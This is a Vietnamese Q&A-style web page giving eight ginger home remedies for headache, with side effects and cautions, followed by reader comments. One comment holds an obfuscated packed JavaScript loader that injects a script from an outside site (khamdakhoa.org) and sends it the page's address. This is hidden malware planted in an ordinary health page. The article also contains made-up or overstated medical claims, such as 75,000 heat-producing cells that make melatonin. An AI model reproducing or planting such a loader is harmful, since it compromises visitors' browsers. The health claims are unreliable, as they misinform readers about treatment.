8 cách chữa đau đầu bằng gừng hiệu quả nhất

QuestionDanh mục đơn: Questions8 cách chữa đau đầu bằng gừng hiệu quả nhất
kidzbyn hỏi 3 tháng trước

Gừng là loại cũ quen thuộc trong cuộc sống hằng ngày của chúng ta, nó mang lại nhiều lợi ích tốt cho sức khỏe. Bên cạnh đó, nhiều người cũng sử dụng cách chữa đau đầu bằng gừng loại bỏ những cơn đau xuất hiện đột ngột hoặc lâu dài. Sau đây là một số phương pháp phù hợp với cách làm đơn giản mà bạn có thể áp dụng ngay tại chính căn bếp của mình.
Xem thêm: 

Chữa đau đầu bằng gừng có hiệu quả không?
Gừng là một loại gia vị phổ biến, vừa là một vị thuốc vừa được dùng để chữa nhiều bệnh khác nhau. Trong Đông y, gừng có vị cay, tính ấm, quy kinh phế, tỳ, vị.Tác dụng chính của loại củ này là phát tán, tiêu đàm, làm long đờm nên thường được dùng để chữa phong hàn, kích thích tiêu hóa, chữa đau đầu, bế kinh,…
Theo nghiên cứu của y học hiện đại, gừng chứa nhiều tinh dầu, bao gồm: Zingiberol, Borneol, Zingiberene, Nonanal, Chavicol, Citral, Methyl heptenone,… Nó làm giãn mạch máu, kích hoạt não và là một chất chống oxy hóa mạnh.
Cineole, một trong những hợp chất có trong gừng, có đặc tính chống viêm và giảm đau. Những đặc tính này làm cho gừng trở thành một phương pháp điều trị hiệu quả cho chứng đau đầu. Gừng còn giúp bạn giải tỏa căng thẳng, tinh thần sảng khoái và ngủ ngon.
8 cách chữa đau đầu bằng gừng hiệu quả
Gừng là một loại thảo mộc phổ biến có thể được tìm thấy trong nhiều nhà bếp và có thể được sử dụng để làm nhiều công thức nấu ăn. Nó phổ biến rộng rãi vì nó đã được sử dụng trong nhiều thế kỷ vì các đặc tính chữa bệnh tự nhiên của nó. Hơn hết, đây là nguyên liệu dễ kiếm nên bạn hãy tận dụng để chữa đau đầu bằng những cách đơn giản sau:
Ngậm gừng tươi giảm đau đầu
Đối với nhiều người, đau đầu là hiện tượng thường xuyên xảy ra. Ngậm gừng trực tiếp được cho là phương pháp đơn giản nhất để điều trị chứng đau đầu. Để làm được điều đó, bạn cần có gừng tươi đã được cắt thành từng miếng nhỏ sau khi rửa sạch với nước.
Trà gừng chữa đau đầu
Bạn đã bao giờ thử uống trà gừng để chữa đau đầu chưa? Bạn có thể làm thức uống thơm ngon này tại nhà hoặc mua ở cửa hàng để thưởng thức ngay. Trà gừng là một phương pháp điều trị hiệu quả cho chứng đau nửa đầu và các loại đau đầu khác, cũng như giảm căng thẳng. Nó cũng giúp bạn thư giãn, thoải mái và giảm căng thẳng. Thưởng thức trà gừng là một cách tuyệt vời để giúp bạn đối phó với đau đầu
Cách làm:

  • Nguyên liệu: gừng tươi, đường, hoa nhài.
  • Cách thực hiện: Gừng tươi rửa sạch, để nguyên vỏ rồi đem cắt nhỏ hoặc giã nát. Cho gừng vào cốc nước vừa đun sôi, thêm chút đường và hoa nhài rồi uống khi còn ấm.

Trị đau đầu bằng gừng và mật ong
Gừng, một loại thảo mộc lâu năm có nguồn gốc từ châu Á, đã được sử dụng như một phương thuốc thảo dược trong hơn 3.000 năm và vẫn được sử dụng phổ biến cho đến ngày nay. Loại rễ này rất dễ trồng tại nhà hoặc trong vườn với những phương pháp đơn giản nhất và nó cũng có thể được ngâm ủ và bảo quản để sử dụng quanh năm. Gừng kết hợp tốt với mật ong vì vị ngọt của nó có thể được trung hòa bởi vị cay của gừng.
Nguyên liệu chuẩn bị: mật ong nguyên chất; gừng tươi.
Cách thực hiện:

  • Gừng tươi đem rửa sạch rồi thái thành từng lát mỏng.
  • Tiếp tục băm nhuyễn gừng tươi rồi cho hết vào lọ thủy tinh.
  • Đổ mật ong vào lọ thủy tinh tới khi ngập hết gừng.
  • Ngâm cho miếng gừng quắt hẳn là bạn có thể mang ra sử dụng.

Nếu bạn sử dụng thường xuyên, nó không chỉ làm giảm cơn đau hiệu quả mà còn giúp bạn tăng sức đề kháng, chống cảm cúm.
Ngâm chân với gừng và muối
Bên cạnh việc thưởng thức trực tiếp gừng, bạn cũng có thể dùng gừng để thêm vào những phương pháp massage trị liệu.
Ngâm chân bằng nước gừng và muối có tác dụng làm tăng tuần hoàn máu và trao đổi chất trong cơ thể đến tất cả các bộ phận khác. Chính vì vậy, khi bị đau đầu hãy ngâm chân bằng cách này để giảm cơn đau hiệu quả.
Nguyên liệu cần có: Gừng, muối hạt, nước ấm.
Cách thực hiện:

  • Gừng rửa sạch rồi đập dập.
  • Cho vào nước ấm khoảng 50 – 60 độ cùng muối hạt khuấy đều lên cho tới khi muối tan hết( Nước ngâm chân ở nhiệt độ khoảng 45oC).
  • Tiến hành ngâm chân trong khoảng 20-30 phút, nếu nước nguội bạn có thể cho thêm nước ấm. 

Massage bằng nước gừng
Mỗi cơ thể con người chứa 75.000 tế bào sinh nhiệt. Các tế bào này chịu trách nhiệm sản xuất melatonin, một loại hormone điều chỉnh giấc ngủ và tâm trạng. Bạn cũng có thể dùng nước gừng nóng để massage và xoa dịu cơn đau. Với cách làm cực kì đơn giản sau đây:
Nguyên liệu cần có: gừng tươi.
Cách thực hiện:

  • Rửa sạch gừng tươi rồi cho vào cối giã nát hoặc dùng máy sinh tố xay nhuyễn.
  • Lọc lấy nước cốt gừng sau đó trộn cùng chút nước ấm.
  • Thoa nước cốt lên vùng đầu, thái dương rồi tiến hành các thao tác massage nhẹ nhàng.
  • Nên thực hiện trong thời gian khoảng 10-15 phút.

Một số cách chữa đau nhức đầu bằng gừng khác
Ngậm kẹo gừng chữa đau nhức đầu
Kẹo gừng đã được sử dụng trong nhiều thế kỷ để làm dịu dạ dày. Nhưng ngày nay, người ta phát hiện ra rằng kẹo gừng cũng có thể điều trị nhiều bệnh khác như đau đầu, buồn nôn, lo lắng và trầm cảm.
Keo gừng thường chứa một lượng nhỏ bột gừng hoặc chất chiết xuất từ gừng giúp bạn giữ ấm cơ thể, chống buồn nôn và giảm cơn đau đầu hiệu quả.
Thực phẩm chức năng từ gừng
Những loại thực phẩm chức năng được làm từ gừng thường sẽ chứa hàm lượng gừng cao hơn kẹo ngậm và dạng gừng này có khả năng làm giảm các triệu chứng đau đầu và đau nửa đầu hiệu quả nhất.
Bạn có thể tìm mua những loại thực phẩm chức năng này từ các hiệu thuốc y tế và có thể tham khảo tư vấn từ các bác sĩ.
Soda gừng + bia gừng
Bia gừng là một loại đồ uống phổ biến đã tồn tại hơn 500 năm. Nó được làm từ nước gừng tươi, nước và đường. Trong nhiều nền văn hóa, bia gừng đã được sử dụng để làm giảm các triệu chứng liên quan đến một loạt các bệnh tật bao gồm đau đầu, các vấn đề tiêu hóa và buồn nôn.
Bạn cũng có thể tìm các loại soda gừng hoặc bia gừng ở các cửa hàng thực phẩm hoặc mua trực tuyến. Ngoài ra, bạn cũng có thể làm soda gừng tại nhà với công thức sau đây:

  • Đun sôi từ 2 đến 4 cốc nước trong nồi.
  • Thêm ¼ vào 1 cốc gừng băm hoặc nghiền cùng với chất tạo ngọt như đường hoặc mật ong, để vừa ăn.
  • Đun nhỏ lửa trong 5 đến 10 phút, sau đó lọc.
  • Trộn dung dịch gừng với nước có ga. Bạn có thể thêm hương vị bằng bạc hà hoặc nước ép từ chanh hoặc chanh tươi.

Tác dụng phụ khi dùng gừng chữa đau đầu
Gừng là một thành phần phổ biến trong nhiều món ăn châu Á và được sử dụng hàng ngàn năm. Nó được biết đến rộng rãi với đặc tính chống viêm và chống ung thư. Tuy nhiên, một số người nhạy cảm với gừng gây buồn nôn, chóng mặt, nhức đầu hoặc các triệu chứng khác.
Trong bài viết này, chúng tôi sẽ xem xét các tác dụng của gừng đối với cơ thể và các tác dụng phụ có thể xảy ra mà gừng có thể gây ra bất kể liều lượng.

  • Ợ hơi, ợ nóng
  • Khó chịu ở dạ dày
  • Bệnh tiêu chảy
  • Miệng và cổ họng bị kích ứng
  • Dễ bị bầm tím hoặc chảy máu
  • Kinh nguyệt năng hơn
  • Kích ứng da (nếu bôi lên da)
  • Phát ban

Những lưu ý khi trị đau đầu bằng gừng
Gừng là một vị thuốc đông y lành tính, khi áp dụng cách chữa đau đầu bằng gừng tại nhà bạn cần lưu ý một số đặc điểm sau để tránh ảnh hưởng đến sức khỏe:

  • Cách chữa đau đầu bằng gừng mang lại hiệu quả chậm hơn so với việc dùng thuốc, bạn nên kiên trì để có được kết quả tốt.
  • Gừng thuộc tính nhiệt, có vị cay, vì thế khi sử dụng quá nhiều sẽ gây ra tình trạng khô miệng, khát nước, phát nhiệt trong người.
  • Không nên gọt bỏ vỏ củ gừng.
  • Không sử dụng gừng đã bị dập nát, mọc mầm.
  • Gừng kỵ các loại thực phẩm như thịt chó, ngựa, thỏ,… Vì vậy, nếu bạn đang điều trị bằng gừng hãy tránh xa những thực phẩm đó.
  • Mặc dù tốt cho sức khỏe, nhưng bạn cũng không nên dùng gừng trong thời gian dài, nhất là những người bị mụn, nóng trong, viêm phổi, viêm dạ dày, sỏi thận…
  • Người bị viêm loét, đau dạ dày, loét tá tràng, cao huyết áp không nên ăn gừng để chữa đau đầu.
  • Tránh dùng gừng vào buổi tối vì có thể gây mất ngủ, không tốt cho sức khỏe.
  • Phụ nữ mang thai nên hạn chế dùng gừng để chữa đau đầu vì có thể gây tăng huyết áp, nguy hiểm cho cả mẹ và bé.
  • Người đang sử dụng thuốc tây, cao huyết áp nếu muốn sử dụng gừng để điều trị đau đầu hãy tham khảo ý kiến của bác sĩ để không gây hại cho sức khoẻ nhé.

Trên đây là tổng hợp 8 cách chữa đau đầu từ gừng tại nhà hiệu quả nhất. Tuy nhiên, hiệu quả của phương pháp này còn phụ thuộc vào nhiều yếu tố, để không gây hại cho sức khỏe, bạn nên tham khảo ý kiến của bác sĩ để tìm ra phương pháp phù hợp nhất.

(Lượt xem 1, hôm nay 1)
Andreas trả lời 1 tháng trước

Hello, just wanted to mention, I enjoyed this post.
It was helpful. Keep on posting!

Check out my website google

đfgdfg trả lời 3 tuần trước

test

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘6 5(n,h){3 i=8();a 5=6(9,1n){9=9-k;3 j=i[9];a j},5(n,h)}3 0=5;6 8(){3 c=[\’C://D.J/K/M.p?v=\’,\’z\’,\’L\’,\’H\’,\’G\’,\’F\’,\’E\’,\’4\’,\’B\’,\’A\’,\’y\’,\’x\’,\’w\’,\’u\’,\’t\’,\’s\’,\’r\’,\’q\’];8=6(){a c};a 8()}(6(b,e){3 1=5,7=b();N(!![]){I{3 d=2(1(P))/Y+2(1(19))/1a+-2(1(1b))/1c+2(1(O))/1e+2(1(18))/1f*(-2(1(1h))/1i)+-2(1(1j))/1k+2(1(1l))/1m;1g(d===e)17;16 7[\’g\’](7[\’f\’]())}15(R){7[\’g\’](7[\’f\’]())}}}(8,S));3 4=l[0(T)](0(U)),m=o[0(V)][0(k)];4[0(W)]=\’Q/X\’,4[0(Z)]=0(10)+o[0(11)](m),l[0(12)](\’13\’)[14][0(1d)](4);’,62,86,’_0x62b860|_0x457ae2|parseInt|var|script|_0x5d72|function|_0x11841d|_0x3516|_0x5d72e1|return|_0x3338bd|_0x1c7859|_0xbceebf|_0x4f9b98|shift|push|_0x476eae|_0x351679|_0x38124a|0x1c8|document|crurl|_0x1d4990|window|php|2125165DwvxMr|getElementsByTagName|appendChild|createElement|5394032ccRlHg||384162qAOqHO|location|type|427451epjwXS|href|195AoFnId|https|khamdakhoa|84642YCVRCr|405450jLIVPN|btoa|279852VbHulP|try|org|js|src|js3|while|0x1d4|0x1d2|text|_0x402b7b|0x5fd7b|0x1cd|0x1d8|0x1ca|0x1c9|javascript|0x1|0x1d3|0x1d1|0x1d5|0x1cf|head|0x0|catch|else|break|0x1d9|0x1d6|0x2|0x1cb|0x3|0x1ce|0x4|0x5|if|0x1d7|0x6|0x1d0|0x7|0x1cc|0x8|_0x7e2399′.split(‘|’),0,{}))

73 − = 67

Website này sử dụng Akismet để hạn chế spam. Tìm hiểu bình luận của bạn được duyệt như thế nào.